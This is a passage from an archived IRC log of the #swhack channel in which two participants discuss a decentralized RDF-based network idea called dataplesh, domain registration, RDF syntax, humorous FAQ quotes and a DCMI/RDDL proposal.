off, its pretty! 02:47:22 <AaronSw> " 02:47:49 <sbp> turn it off just to spite them! 02:47:59 <AaronSw> I did! :) 02:49:07 <sbp> sbp has changed the topic to: #swhack: home of the vanilla loving Llama people 02:51:31 <sbp> sbp has changed the topic to: She said, "You can't repeat the past", I said, "You can't? Whaddya mean you can't? Of course you can!" 02:53:16 <sbp> hello? 02:53:29 <sbp> ah, there you are 02:56:20 <sbp> Ah: http://www.google.com/search?q=She+said%2C+%22You+can%27t+repeat+the+past%22%2C+I+said%2C+%22You+can%27t%3F+Whaddya+mean+you+can%27t%3F+Of+course+you+can%21 02:58:05 <Aaron> Aaron has joined #swhack 02:58:11 <Aaron> Well, hello again! 02:58:15 <AaronSw> Funny seeing you here. 02:58:20 <Aaron> Let me step out for a bit... 02:58:23 <Aaron> * Aaron heads off 02:58:29 <AaronSw> i plan more evil stuf... 02:58:33 <Aaron> * Aaron returns 02:58:38 <Aaron> You can't spell, you know. 02:58:42 <AaronSw> Ha! How did you know? 02:58:47 <Aaron> The magic of dircproxy! 02:58:50 <Aaron> This is awesome! 03:00:26 <AaronSw> AaronSw has quit 03:00:35 <sbp> lol 03:00:54 <Aaron> Aaron is now known as AaronSw 03:03:00 <AaronSw> * AaronSw heads off 03:03:07 <AaronSw> * AaronSw returns 03:08:43 <AaronSw> * AaronSw heads off 03:09:00 <AaronSw> * AaronSw returns 03:09:07 <sbp> make your mind up! 03:09:56 <AaronSw> Just testing. :) 03:10:06 <AaronSw> This rocks! 03:10:16 <AaronSw> Thanks a ton, deltab! 03:10:18 <deltab> cool 03:10:26 <AaronSw> Should I stick this in a startup script somewhere? 03:15:44 <sbp> "The Cuckoo is a pretty bird, she wobbles as she flies..." 03:19:06 <sbp> neat little traditional song 03:26:01 <AaronSw> I'm going with dataplesh as the name of my big mesh idea, btw 03:26:50 <sbp> uh huh 03:27:00 <sbp> infomesh would have been better 03:27:09 <AaronSw> Well, want to hand over the domain? 03:27:18 <sbp> it'll cost ya 03:27:29 <AaronSw> Hah, see. 03:27:35 <AaronSw> Well, do you think it's a horrible name? 03:27:50 <sbp> I think that it's not as good as "infomesh" :-) 03:28:02 <AaronSw> me neither, but hey 03:28:09 <sbp> yeah, it's alright 03:28:19 <AaronSw> * AaronSw wonders whether to get dataplesh.info -- nah, won't bother 03:28:31 <sbp> nah, smeg that 03:28:35 <deltab> A pool; a plash. [Obs.] --Spenser. 03:28:46 <sbp> I was going to try for cern.info 03:28:57 <sbp> but I thought I might get my arse spanked for that 03:29:03 <AaronSw> heheh 03:29:07 <sbp> y'know, ch.cern.info 03:29:18 <AaronSw> that'd be quite funny 03:29:34 <AaronSw> hey, that works out quite well, deltab 03:29:48 <AaronSw> deltab, should i go with godaddy.com or is there someplace better? 03:29:59 <deltab> for what? 03:30:06 <AaronSw> for grabbing the domain name 03:30:26 <AaronSw> or perhaps get tav to pay for it... 03:31:06 <sbp> yeah! that's the best idea 03:31:35 <sbp> buy me one whilst you're fecking about with them, could ya? 03:31:46 <AaronSw> ch.cern.info? ;) 03:32:00 <sbp> yeah, that'll be good 03:32:09 <AaronSw> cern.info is available~ 03:32:13 <AaronSw> s/~/!/ 03:32:32 <AaronSw> Hmm, should i get it? 03:34:17 <sbp> heh, so it is! 03:34:24 <AaronSw> * AaronSw grabs it 03:34:28 <sbp> wow, cool 03:34:40 <AaronSw> Ugh, what an awful site. 03:34:48 <sbp> but duck every time a CERN official comes by... 03:35:13 <AaronSw> hey, they had time to get it during the trademark period 03:35:19 <AaronSw> Ugh: 03:35:20 <AaronSw> The error which occurred was: 03:35:20 <AaronSw> Unexpected response received from the Registry: [2306] [Parameter value policy error] 03:35:35 <sbp> ooh, wonderful 03:36:43 <sbp> * sbp wants another domain, but daren't buy one 03:37:02 <AaronSw> * AaronSw refuses to buy from godaddy until they stop breaking the back button 03:40:13 <AaronSw> Since when did usenet have a humanities.* group? 03:42:56 <AaronSw> Wow, DomainMonger provides free robust DNS. 03:43:14 <sbp> since forever? 03:43:24 <sbp> "Note that this only covers new groups in the 'Big-8' hierarchies - comp.*, humanities.*, misc.*, news.*, rec.*, sci.*, soc.* and talk.*. " - http://www.usenet.org.uk/usenet-information.html 03:43:31 <sbp> DomainMonger? 03:43:43 <AaronSw> My preferred domain registration site. 03:44:18 <sbp> $17? 03:44:39 <AaronSw> so? 03:45:09 <sbp> that other place is about half that price! 03:45:18 <AaronSw> But their website sucks 03:45:24 <sbp> true 03:45:35 <AaronSw> the extra 8 dollars is worth it, IMO, because domainmonger's UI is just so much better 03:49:32 <sbp> interesting: http://logicerror.com/hypertext.html http://logicerror.com/hypertext.bollocks 03:49:46 <sbp> so, are those URIs persistent? 03:50:11 <AaronSw> No, I don't think so. 03:50:40 <AaronSw> Well, they're persistent in that if a .bollocks format exists, you will get it 03:50:50 <AaronSw> but not in that they will redirect to a working version 03:51:07 <sbp> well, .bollocks currently redirectes to the main version 03:51:16 <sbp> perhaps you should break it? 03:51:26 <AaronSw> No, I like it this way. 03:51:38 <AaronSw> If people want to point folks to a .bollocks version, they can feel free to 03:52:01 <sbp> but it directs to the HTML version; people will expect an HTML version 03:52:16 <AaronSw> Well then they should link to it! 03:52:49 <sbp> I suppose 03:53:52 <AaronSw> I suppose I could put a page up with a 3?? saying you probably meant to get the html version... 03:54:45 <sbp> with a what? 03:54:52 <sbp> oh, I get it 03:56:03 <sbp> oh wow, cool thing at the bottom of: http://lists.w3.org/Archives/Public/www-archive/2001Jul/0018 03:56:26 <AaronSw> Yeah, remember that? 03:56:47 <sbp> yeah, that was quite a fun experiment 03:57:21 <sbp> shows that you've written a lot! 03:57:45 <AaronSw> I can't believe I've written al that. 03:58:19 <sbp> and you've probably done a lot more since then 03:59:08 <AaronSw> Yeah, it's funny. 03:59:29 <sbp> my one criticism is that perhaps it's too easy to publish information? 03:59:40 <AaronSw> how can it be too easy? 04:00:19 <sbp> well, rigorous publishing can have its benefits: you take longer preparing the file 04:00:34 <AaronSw> how is that a benefit? 04:01:23 <sbp> you cram it with more information, spell check it, and so on, because you know you can't be fecked to keep uploading it. An HTTP form makes that so easy 04:01:39 <sbp> well, maybe not 04:02:08 <AaronSw> Hmm, I still think the benefits outweigh those 04:02:23 <sbp> cool: 'Here's a good quote: "a website doesn't look like anything at all!"' - http://logicerror.com/web 04:02:31 <sbp> so do I, but it's something to note 04:03:15 <AaronSw> dataplesh isn't trademarked and brings up no hits on google 04:03:32 <sbp> uh huh 04:03:41 <sbp> Hmm... form is a part of function 04:03:53 <sbp> er... pertaining to your UI/document question 04:03:57 <AaronSw> That's a good point. 04:04:23 <AaronSw> argh! domain monger broke the back button! 04:04:39 <AaronSw> new registration system 04:05:16 <deltab> broke back button where? 04:05:42 <AaronSw> it says my user/pass was invalid so I hit back and it brings me to the front page 04:07:56 <sbp> wow: "We are intellectual prostitutes." - John Swinden, not happy about the term "independent press" 04:08:14 <AaronSw> Ahh, the NYTimes guy -- that was quite good. 04:08:55 <sbp> yeah 04:09:02 <AaronSw> Whee! dataplesh.com is mine! 04:09:14 <AaronSw> * AaronSw is a wimp and won't get cern.info 04:09:23 <AaronSw> You could put the W3C archives on there. 04:12:57 <sbp> that's what I was thinking 04:13:05 <sbp> since CERN broke info.cern.ch 04:13:28 <AaronSw> Yeah, I know -- what's up with that? 04:13:34 <AaronSw> They could at least put a redirect in! 04:14:03 <sbp> yeah 04:14:29 <sbp> ugh: 04:14:30 <sbp> <rdf:Description rdf:ID="foo"> 04:14:30 <sbp> <says:Plainly>This is an example.</says:Plainly> 04:14:30 <sbp> </rdf:Description 04:14:36 <AaronSw> You'd think TimBL could just call them on the phone and yell a little bit, and things'd start working. 04:14:54 <sbp> not only do you get rdf-saysPlainly... but Plainly is a property, I think 04:15:16 <AaronSw> rdf-saysPlainly? 04:15:20 <sbp> Yeah, and isn't Robert Caillau still the Webmaster? 04:15:26 <sbp> <rdf:RDF 04:15:27 <sbp> xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" 04:15:27 <sbp> xmlns:says="http://logicerror.com/rdf-says" 04:15:27 <sbp> > 04:15:44 <AaronSw> Heheh -- that was great fun. 04:15:55 <AaronSw> saysPlainly is a great name for a property! 04:16:21 <sbp> Hmm... 04:20:03 <AaronSw> OK, DNS for dataplesh.com is set up. 04:20:21 <sbp> http://logicerror.com/signYourPage - why? 04:20:24 <AaronSw> * AaronSw imagines rDNS aaronsw@just.a.datum.in.the.dataplesh.com 04:20:41 <AaronSw> signYourPage: umm, for authentication 04:21:08 <sbp> rDNS? 04:21:27 <sbp> he he he, you're smitten with dataplesh already 04:21:34 <AaronSw> reverse DNS... the thing that decides what you appear as on IRC 04:21:38 <AaronSw> Yes, it's such a great name! 04:21:51 <sbp> what material have you published/written so far? 04:22:02 <AaronSw> On the dataplesh? 04:22:50 <sbp> yeah 04:23:08 <AaronSw> I don't think I've written any yet. 04:23:14 <sbp> * sbp will probably call it dp for short 04:23:23 <sbp> you haven't written any? aha! 04:23:28 <sbp> well, here's your chance then 04:23:30 <AaronSw> I needed a name first! 04:23:32 <sbp> sell it to me 04:23:42 <AaronSw> OK, this should be fun. 04:23:53 <AaronSw> So, the Internet is quite nice and all, right? 04:24:05 <AaronSw> But it's entered a stage which is creators, most likely, hadn't envisioned 04:24:05 <sbp> it works, yes 04:24:19 <AaronSw> They were thinking the Internet could be a community of peers 04:24:31 <AaronSw> but instead it's become another client-server thing. 04:24:50 <AaronSw> The masses of the world can't speak without spending a lot of money and time on hosting, etc. 04:25:02 <AaronSw> (and it's too difficult) 04:25:13 <AaronSw> With me so far? 04:25:53 <AaronSw> Meanwhile these systems are fragile and based around centralizations. 04:26:11 <AaronSw> sbp, you listening? 04:26:15 <sbp> yes, I know all this... get on with the cool stuff! 04:26:22 <AaronSw> Heheh, OK... 04:26:25 <AaronSw> * AaronSw fast forwards 04:26:32 <AaronSw> So there's a simple solution: 04:26:35 <sbp> another hippie-anarcho-decentralized P2P thing? 04:26:43 <AaronSw> * AaronSw smiles 04:26:46 <sbp> :-) 04:26:54 <AaronSw> Instead of computers calling each other up with their galactic cell-phones 04:27:10 <AaronSw> they simply blast messages (in RDF triples) out into the 'plesh 04:27:32 <sbp> how do they contect the dp? 04:27:54 <AaronSw> well, they run a local dp node, which knows of some other nodes thru a bootstrap process 04:28:01 <AaronSw> perhaps it tries to visit node.dataplesh.com 04:28:10 <sbp> er, but still over the 'net, right? 04:28:12 <AaronSw> or asked you for the name of a friend when you first ran the app 04:28:20 <AaronSw> yes, all the communication is layered atop the Internet. 04:28:25 <sbp> ah 04:28:45 <sbp> what bootstrap process? IMO, this is where P2P usually fucks up 04:28:59 <AaronSw> Any bootstrap process you want 04:29:06 <AaronSw> it's really unimportant 04:29:18 <AaronSw> anyone who's going to have the client software will know of at least one other node 04:29:37 <sbp> won't they get lost in pleshspace 04:29:38 <sbp> ? 04:29:45 <AaronSw> How so? 04:29:51 <AaronSw> Perhaps they just connect to the node at their ISP. 04:29:55 <sbp> * sbp points to the channel topic line 04:30:16 <AaronSw> * AaronSw wonders what it has to do with getting lost in pleshspace 04:30:34 <sbp> I was kidding about how people pointed out that same thing with HyperText 04:30:43 <AaronSw> Ah, I get it now. 04:30:50 <AaronSw> Heheh. 04:30:56 <AaronSw> So can I continue? 04:31:00 <sbp> yes, sorry... 04:31:10 <AaronSw> No, wouldn't want to ramble on w/o answering questions 04:31:19 <AaronSw> so you blast your message out 04:31:42 <AaronSw> and [vigorous handwaving] it distributes itself throughout the 'plesh as a drop of dye would distribute across a pool of water 04:32:04 <AaronSw> Perhaps you're sending out a line of text in an IRC chat 04:32:21 <AaronSw> the other side as a query outstanding for all IRC lines in a certain channel 04:32:29 <sbp> speed? 04:32:31 <AaronSw> his neighbor nodes know this and so keep on the look out for them, etc. 04:32:54 <AaronSw> speed is obvbiously something to be optimized, but it should be as fast as the 'Net when we're thry 04:32:57 <AaronSw> err thru 04:33:23 <sbp> really? that seems counter intuitive to me, as the plesh is acting as a proxy for all the World's data 04:33:33 <AaronSw> So is the Internet. 04:33:53 <sbp> but the internet has centralized points of contact, IP 04:33:56 <sbp> DNS 04:34:09 <AaronSw> How is IP a centralized point of contact? 04:34:28 <sbp> well, it's a point of contact 04:34:32 <AaronSw> IP adresses are distributed centrally, but they could be replaced with large random numbers and things would still work (i.e. IPv6 04:34:35 <AaronSw> well so is the plesh 04:34:56 <sbp> so everyone would have a plesh node, as a replacement to IP? 04:35:01 <AaronSw> the 'plesh -> the plesh -> da plesh -> daplesh 04:35:16 <AaronSw> yes, DP replaces IP 04:35:21 <AaronSw> slowly but surely 04:36:15 <sbp> how would plesh nodes be assigned? 04:36:27 <AaronSw> Assigned? They don't need to be assigned. 04:36:32 <AaronSw> You just run it. 04:38:31 <sbp> O.K., so the fact of the matter is that P2P appliactions have been around for some years now, but none of them are really all that good. Napster tocketed to fame, but that was just for ripping of music files, so what does that leave us with? Freenet? Not many people have heard of that, and it has some big problems, e.g. it's not persistent, and proxy access is fucked because you can't make proper links 04:38:41 <sbp> heh: tocketed 04:38:54 <AaronSw> So? 04:39:00 <AaronSw> Who cares about P2P hype? 04:39:01 <sbp> so, how will plexiwhatsitsname... er... dataplesh be any better? 04:39:26 <sbp> what will make me, and the rest of the world, go "ah, neat" 04:39:34 <AaronSw> I'm getting there! 04:39:45 <AaronSw> So the other side has an outstanding query for the IRC channel's messages 04:39:52 <AaronSw> and its neighbors know that, and so on 04:39:57 <AaronSw> so messages get to it quickly 04:40:20 <AaronSw> Since it's all triples, an email client can use the same stuff 04:40:36 <sbp> aha! triples! got it 04:40:37 <AaronSw> everything's decentralized -- to connect to any protocol with any server you just need a URI 04:40:47 <sbp> yep, I've got it, I've got it... kick-ass idea 04:40:59 <AaronSw> Hah, I forgot to emphasize the magic word: triples. 04:41:02 <AaronSw> :-) 04:41:12 <sbp> fuck the Semantic Web, this is the Semantic Internet! Much better! 04:41:21 <AaronSw> Yes! You've got the spirit! 04:41:40 <AaronSw> HTTP requests can be answered by anyone, not just the guy who happens to be in the DNS 04:41:46 <sbp> and that concludes the fall time lecture, "triples and the internet"... :-) 04:41:50 <AaronSw> Email can be sent to people who haven't been born yet! 04:41:56 <AaronSw> We're going to blow the lid off! 04:42:00 <sbp> oh wow, that's a cool idea 04:42:12 <AaronSw> * AaronSw calms down 04:42:23 <sbp> HTTP requests will cease to exist in a sense 04:42:43 <AaronSw> Right, you'll just ask the 'plesh questions. 04:42:59 <sbp> "why won't x go out with me?" 04:43:07 <sbp> "'cause you're an idiot" 04:43:13 <AaronSw> Tada! 04:43:19 <sbp> I know, protocol questions... 04:43:46 <sbp> "get me the first page that you can find by any "protocol" that explains why I'm an idiot" 04:43:50 <sbp> :-) 04:43:59 <AaronSw> {?x :goOutWith :sbp} a log:Falsehood ? 04:44:27 <sbp> actually, protocols will just be different types of triples, won't they? Hmm... this is a really intreguing engineering problem and solution all in one 04:44:54 <AaronSw> Right, and to create interoperating protocols all you need is... 04:44:59 <AaronSw> log:implies! 04:45:05 <sbp> heh, heh 04:45:16 <AaronSw> An oldie but a goodie: http://pigdog.org/auto/mr_bads_list/shortcolumn/1914.html 04:45:20 <sbp> ooh, a sprinkle of FOPL here and there... 04:45:55 <sbp> trouble is, I don't think that dp will scale 04:46:01 <AaronSw> why? 04:46:30 <sbp> * sbp is reading http://pigdog.org/auto/mr_bads_list/shortcolumn/1914.html 04:46:39 <AaronSw> This is funny to: http://www.linuxmafia.com/~rick/faq/ 04:47:38 <sbp> can you make this fit onto a single floppy? 04:47:56 <sbp> documentation, background, and clients? 04:48:01 <sbp> for all OS'? 04:48:12 <AaronSw> Heheh. 04:48:17 <sbp> no, seriously 04:48:19 <sbp> :-) 04:48:38 <AaronSw> We need something that my mom can use. 04:48:40 <sbp> and of course, I shall insist that you port the code to Befunge93 04:48:52 <AaronSw> Oh dear. 04:48:57 <sbp> the Mum test must be universal 04:49:59 <sbp> Heh: "Verbatim copying, distribution, and display of this entire article are permitted in any medium, provided this notice is preserved." 04:50:21 <AaronSw> Why is that funny? 04:50:26 <sbp> well, y'know, if they removed the notice, then it wouldn't have been copied verbatim... 04:50:37 <AaronSw> Heheh. 04:51:33 <AaronSw> Heh: 04:51:43 <AaronSw> "Can I install Linux on my 386? 04:51:43 <AaronSw> While you were snoozing, we entered the 2000s." 04:51:50 <sbp> lol 04:53:38 <AaronSw> "Don't the rise of Linux worms like Ramen, Lion, Red Worm, Adore, Cheese, and lpdw0rm show that Linux now has a virus problem? 04:53:39 <AaronSw> [...] Saying these display a "virus problem" is like saying a homeowner had a "fire hazard problem" after he left his home wide open and unoccupied for six months, then burglars finally noticed the house, stole its valuables, and finally torched it. " 04:54:04 <sbp> heh, heh, heh 04:56:07 <AaronSw> Aww, he's attacking DJB! 04:56:39 <AaronSw> "Prof. Bernstein's software is, first of all, pervaded by a bloody-minded disregard for the rest of the world[...]" 04:56:53 <AaronSw> I can't argue with that... but at least he's trying to make the rest of the world good! 04:58:12 <sbp> * sbp listens to more Bert Jansch 04:59:43 <sbp> Veronica - good song 05:00:01 <AaronSw> Hmm, IE crashed exactly at midnight... wonder if that's a bug 05:00:23 <sbp> it doesn't tend to do that to me. It must be a Mac bug :-) 05:01:08 <AaronSw> They're totally different programs, if I haven't emphasized that enough already. :) 05:02:26 <sbp> :-) 05:02:49 <AaronSw> LOL: 05:02:54 <AaronSw> [[[25. How can one become "cool"? 05:02:54 <AaronSw> * Answer all Perl questions on mailing lists with the one-liner: 05:03:04 <AaronSw> Reply to all mssages on mailing lists that mention MP3 files with the one-liner: 05:03:09 <AaronSw> ]]] 05:03:37 <AaronSw> Hey, I did the last one on the list: 05:03:43 <AaronSw> "Build a theremin." 05:03:59 <sbp> where 05:04:03 <sbp> where's this? 05:04:28 <AaronSw> http://crackmonkey.org/faq.html#QUESTION25 05:04:31 <AaronSw> This is pretty funnt. 05:04:32 <AaronSw> err funny 05:04:47 <sbp> ah, funnt indeed! 05:07:35 <sbp> * sbp considers the haiku thing 05:10:47 <AaronSw> Heheh: "Experience suggests that, if we were able to kill off the well-intentioned at birth, as a preventative measure, the leftover evil-doers would be small potatoes, in comparison." 05:10:50 <sbp> what's up with the flying toastr thing? 05:11:19 <AaronSw> you don't remember those? 05:13:02 <sbp> heh: "Simply write the word "unsubscribe" on the back of a hundred dollar bill and send it to..." 05:13:12 <sbp> I remember them, but WTF were they for? 05:13:19 <AaronSw> It was a screen saver. 05:15:48 <AaronSw> I shall have to remember this: 05:15:51 <AaronSw> "Sir, you are an apogenous, bovaristic, coprolalial, dasypygal, excerebrose, facinorous, gnathonic, hircine, ithyphallic, jumentous, kyphotic, labrose, mephitic, napiform, oligophrenial, papuliferous, quisquilian, rebarbative, saponaceous, thersitical, unguinous, ventripotent, wlatsome, xylocephalous, yirning zoophyte." 05:15:51 <AaronSw> Translation: "Sir, you are an impotent, conceited, obscene, hairy-buttocked, brainless, wicked, toadying, goatish, indecent, stable-smelling, hunch-backed, thick-lipped, stinking, turnip-shaped, feeble-minded, pimply, trashy, repellent, smarmy, foul-mouthed, greasy, gluttonous, loathsome, wooden-headed, whining, extremely low form of animal life." 05:16:27 <sbp> this is cool: http://crackmonkey.org/faq.html#QUESTION8 05:16:40 <sbp> yes, I shall try that too 05:16:53 <sbp> screen saver: but what did it mean? 05:18:01 <sbp> you guys are all sic! 05:18:25 <sbp> ah, even better:- 05:18:30 <sbp> literalism is sic 05:20:38 <AaronSw> Aha, here someone has implemented the algo for winning at Rock Paper Scissors: http://chappie.stanford.edu/~perry/roshambo/index.html 05:20:43 <sbp> lol! "Why do rasisins suck?" - "They are supposed to be "nature's candy," but they don't have any cool gimmick like a whistle built in or being cigarette-shaped or super-sour flavor or any of the things that you actually want candy for." 05:22:32 <AaronSw> Man, I'm creaming the roshambot 05:22:45 <AaronSw> Pheer my randomly chosen ways! 05:24:42 <sbp> lol 05:24:57 <sbp> Gotta run 05:25:00 <sbp> Grand Prix! 05:25:02 <sbp> c'ya 05:25:13 <AaronSw> bye 05:45:45 <sbp> aw... Alesi's out 05:45:52 <sbp> quite an action packed start so far 05:46:17 <sbp> Gotta run 05:46:19 <AaronSw> Ah, you never disconnected... must be cheap rates now? 05:49:18 <sbp> sbp has quit 13:58:16 <sbp> sbp has joined #swhack 13:59:20 <sbp> sbp has quit 14:43:56 <sbp> sbp has joined #swhack 14:44:22 <AaronSw> Hi 14:47:09 <sbp> sbp has quit 14:54:19 <sbp> sbp has joined #swhack 14:54:38 <AaronSw> wb 14:54:40 <sbp> ty 14:54:46 <AaronSw> np 14:55:12 <sbp> * sbp is working on a new, improved, homepage 14:55:23 <AaronSw> Aaaah! Not again. 14:57:00 <sbp> yep 14:57:55 <AaronSw> Ugh! Why won't Google index swhack? 14:58:09 <sbp> I know! that's so annoying 14:58:29 <sbp> and, even weirder, it did index it at first! or about five daya after I released it 14:58:41 <sbp> and it was very high up the rankings 14:58:44 <AaronSw> Eh? Released what? 14:58:49 <sbp> and climbing, every time I searched! 14:59:02 <sbp> oh, sorry, I thought you put swintro 14:59:06 <sbp> heh, heh, heh 14:59:09 <AaronSw> Heh heh 14:59:12 <sbp> yeah, swhack has the same problem 14:59:37 <sbp> heh, I read "Ugh! Why won't Google index sw" and didn't bother with (guessed) the rest 15:00:14 <AaronSw> :) 15:00:20 <sbp> "I love your sister" => "I love you" 15:00:22 <AaronSw> I wonder if I'm doing something wrong. 15:00:34 <AaronSw> what 15:00:39 <AaronSw> what's swintro's url? 15:00:41 <sbp> No, Google's being weird 15:00:51 <sbp> http://infomesh.net/2001/swintro/ 15:01:20 <AaronSw> wacky 15:01:43 <sbp> uh huh 15:03:15 <AaronSw> Perhaps I should email them... 15:03:26 <AaronSw> I will definitely ask my contact at Google next time she's on. 15:03:35 <sbp> cool 15:03:54 <AaronSw> or try to remember ;) 15:04:35 <sbp> sbp has changed the topic to: You dance with who they tell you to or you don't dance at all 15:05:13 <sbp> from "High Water" 15:05:27 <sbp> (for Charley Patton) 15:05:31 <AaronSw> * AaronSw sings "I Will" 15:07:19 <sbp> I like this new homepage, but it needs some more substance. That's the whole problem with the old homepage: it was form over content, and now I've just done the same thing! Perhaps I should draw a fucking picture for my next homepage... 15:07:35 <sbp> Ah, the world's first SVG homepage! 15:07:44 <AaronSw> Form over content? your homepage was the most contentful I ever saw! 15:08:45 <sbp> nah, it's just lists of links, the occasional worthless comment. Paring it back shows that there is actually very little *material* on it, and I want to put something of value there 15:08:47 <AaronSw> Hmmph, when iCab does something nobody cares, but when Mozilla does it it becomes the greatest think since sliced bread. 15:09:09 <AaronSw> Save the something of value for your monologues or whatever 15:09:12 <sbp> well, that's the way of the technological world 15:09:20 <AaronSw> Not every word out of your mouth needs to be golden 15:09:25 <sbp> monologues? 15:09:28 <AaronSw> (Especially those lack the letter u) 15:09:38 <sbp> heh, heh 15:09:55 <sbp> golden: well, a homepage is something that can be, IMO 15:10:02 <AaronSw> Monologue: when you grow older and start a stage show about your experiences on the SW 15:10:35 <AaronSw> homepage: oh, please. a homepage is a narccistic outlet for getting things you like ranked highly on Google. 15:11:03 <sbp> lol! 15:11:13 <AaronSw> Now that was golden ;) 15:11:41 <AaronSw> How long do you think it'll be before people take that out of context? ;) 15:11:46 <sbp> yeah, that's pretty good. Actually, I think I'm going to use that 15:12:23 <AaronSw> Feel free to capitalize 15:12:38 <sbp> brilliant: Yes, it's yet another attempt at a homepage, or rather a narccistic outlet for getting things I like ranked highly on Google... 15:13:06 <sbp> trouble is, I have to quote you. Damn: why can't I come up with cool quips like that? 15:13:20 <sbp> ah, actually:- 15:13:31 <AaronSw> Brent Simmons: "When I was a boy I thought what was amazing about wind is how it's invisible but you can still feel it." 15:13:39 <sbp> I could just link "narccistic outlet" to your homepage. That'd suffice 15:13:59 <AaronSw> Pah! Sean invents new ways of quoting. 15:14:07 <sbp> heh, heh, heh 15:14:27 <sbp> like "from the evidence here presented, guess who came up with this quote" 15:14:27 <AaronSw> [plagurism police knock down sbp 15:14:43 <AaronSw> [plagurism police knock down sbp's door] 15:14:43 <AaronSw> Sean: You can't blame me! I linked it to his homepage! 15:15:08 <sbp> I think it's "plagarism", isn't it? But oh, how I change the subject 15:15:26 <sbp> anyway, it's too barbed to put at the top of my homepage. You should put it on yours, though 15:15:57 <AaronSw> Heh, start off the day with some self-deprecation. 15:16:16 <sbp> yeah, nothing beats cornflakes and self-deprecation 15:17:08 <sbp> Hmm... I do need something to replace "A masterpiece in the hyperterminal world of the web" though 15:18:34 <AaronSw> [[[ 15:18:35 <AaronSw> Anthrax spores need to be dispersed in the air with very advanced equipment to become the dangerous form, pulmonary anthrax, that is lethal. Since whoever is doing this is mailing the stuff, it's obvious we are dealing with amateurs who really don't understand what they are doing. 15:18:36 <AaronSw> ]]] 15:18:39 <AaronSw> - http://www.bact.wisc.edu/microtextbook/disease/anthrax.html 15:19:26 <sbp> OTOH, if their aim is to spread terror, they certainly seem to be succeeding 15:19:35 <AaronSw> Indeed. 15:21:08 <sbp> Hmm... perhaps I should write a little story 15:21:34 <AaronSw> You have to wonder when they'll attack with a Code Red-style worm. 15:21:48 <AaronSw> (Or take credit for Code Red.) 15:22:32 <sbp> There once was a farmer named Jack Higgins. He was a sad little gobshite, but his sheep loved him. Later that day, Mary entered the store. "Hello, Fred", she screams. Fred nearly got indignant with her, but remembering Jack's advice, he simply slapped her with a trout. The trout miraculously survived the incident, but lost the use of its tricycle 15:23:09 <AaronSw> Period? 15:23:15 <sbp> er... yes 15:24:40 <sbp> "I don't like you" 15:24:43 <sbp> "Why?" 15:24:54 <sbp> "Because you're an annoying little smeg-end" 15:25:00 <sbp> "Ah. Well, so long as I know" 15:25:23 <AaronSw> heheh 15:28:09 <AaronSw> Hmm, a cool thing about telecons is that they provide Dining Cryptographer's-level anonymity. 15:28:42 <sbp> you what? 15:28:58 <sbp> The FAQ FAQ 15:29:13 <sbp> Question 1) What does FAQ stand for? 15:29:27 <sbp> Answer 1) FAQ stands for Fair Average Quality 15:29:38 <sbp> Question 2) Where is Daisy 15:29:44 <sbp> Daisy's dock? 15:29:50 <sbp> Answer 2) Dunno 15:30:00 <sbp> Question 3) Why am I doing this? 15:30:05 <sbp> Answer 3) See above 15:30:07 <AaronSw> Heheh, did you see yesterday's UserFriendly on that: http://ars.userfriendly.org/cartoons/?id=20011013 15:31:20 <sbp> heh 15:32:00 <sbp> AG is slow today 15:33:03 <sbp> sbp has changed the topic to: They're taking a streetcar named Desire 15:33:11 <AaronSw> Heh. 15:39:11 <sbp> Gotta run 15:40:07 <AaronSw> c'ya 15:42:12 <sbp> sbp has quit 15:42:29 <AaronSw> Cool! www.televisionarchive.org 15:42:37 <AaronSw> http://www.televisionarchive.org/ 15:47:50 <sbp> sbp has joined #swhack 15:48:27 <AaronSw> * AaronSw watches more http://www.televisionarchive.org/ 15:55:57 <AaronSw> Whoo, I can watch the Tom Clancy interview. 15:56:05 <AaronSw> Thank you chat logs! 16:19:08 <AaronSw> * AaronSw uses three monitors ;) 16:19:24 <sbp> Heh, heh 16:30:38 <sbp> Gotta run 16:31:05 <AaronSw> c'ya 16:33:38 <sbp> sbp has quit 17:15:20 <AaronSw> Ewww, I got spam from Sprint. I sure don't plan to by their service now. 18:06:20 <sbp> sbp has joined #swhack 18:06:32 <sbp> sbp has quit 18:07:01 <sbp> sbp has joined #swhack 18:10:03 <AaronSw> he-lo 18:10:35 <AaronSw> Do you remember who it was that said he was going on vacation but would review my DCMI proposal when he got back? 18:14:11 <sbp> no idea 18:14:21 <sbp> heh, I've just replied to that mail :-) 18:15:14 <AaronSw> Yeah, you show those DMCI guys where to stick their schema. ;-) 18:15:36 <AaronSw> (It'd also be nice if you'd pledge support for my RDDL idea) 18:16:35 <sbp> er... yes, I should have done so, but I think that they'll see that it's a sensible idea 18:16:51 <sbp> if not, of course I'll back you up 18:17:25 <AaronSw> The important point is that these go on the PURL server, not as a redirect. 18:17:26 <sbp> I think that there was a limited response to your initial draft, BTW< just going through my archives 18:17:45 <sbp> yeah, the redirect is weird 18:18:02 <AaronSw> I seem to have deleted them from my archive and I'm not too willing to mess with the jiscmail interface, so if you could summarize i'd greatly appreciate it 18:18:19 <AaronSw> I recall Harry Wagner saying something about how it's hard now that he's created the PURLs. 18:19:17 <sbp> I think that's nonsense: if the DCMI can't control their own PURLs as a part of the OCLC, then I'd be a bit shocked 18:19:37 <AaronSw> I agree. 18:19:45 <sbp> * sbp drags out a summary 18:20:55 <sbp> Roland Schwaenzl gave some feedback on the RDDL itself 18:21:19 <sbp> Harry Wagner doesn't seem to have replied to you once you sent the schema itself 18:21:26 <sbp> s/schema/RDDL 18:21:44 <sbp> [[[ 18:21:44 <sbp> > I wish this had been mentioned earlier. I created 18:21:45 <sbp> > the PURLs yesterday. If you want to do a draft we would certainly 18:21:45 <sbp> > reconsider the issue. 18:21:45 <sbp> Yes, my apologies for not getting to it sooner. I sent in a 18:21:45 <sbp> draft. Do you have thoughts on it. If you (or someone else) 18:21:46 <sbp> could throw it up on PURL.org I'd be happy to maintain it and 18:21:48 <sbp> begin work on the others. 18:21:50 <sbp> ]]] 18:21:52 <sbp> (from you) 18:23:03 <sbp> "A copy is also embedded in this document" - are you sure you want to do that? 18:23:11 <sbp> And BTW, the DOCTYPE should go at the top 18:23:54 <AaronSw> Why shouldn't I embed it? 18:24:00 <AaronSw> What DOCTYPE should I use? 18:24:57 <sbp> THe DOCTYPE you used is fine, but it shouldn't go at the top 18:25:07 <sbp> why not to embed it: what's the point of embedding it? 18:25:26 <sbp> RDDL is a catalogue format, rather than a schema collection framework 18:25:41 <AaronSw> What DOCTYPE did I use? 18:25:55 <sbp> Some nutty one with entities 18:26:11 <sbp> <!DOCTYPE rdf:RDF [ 18:26:11 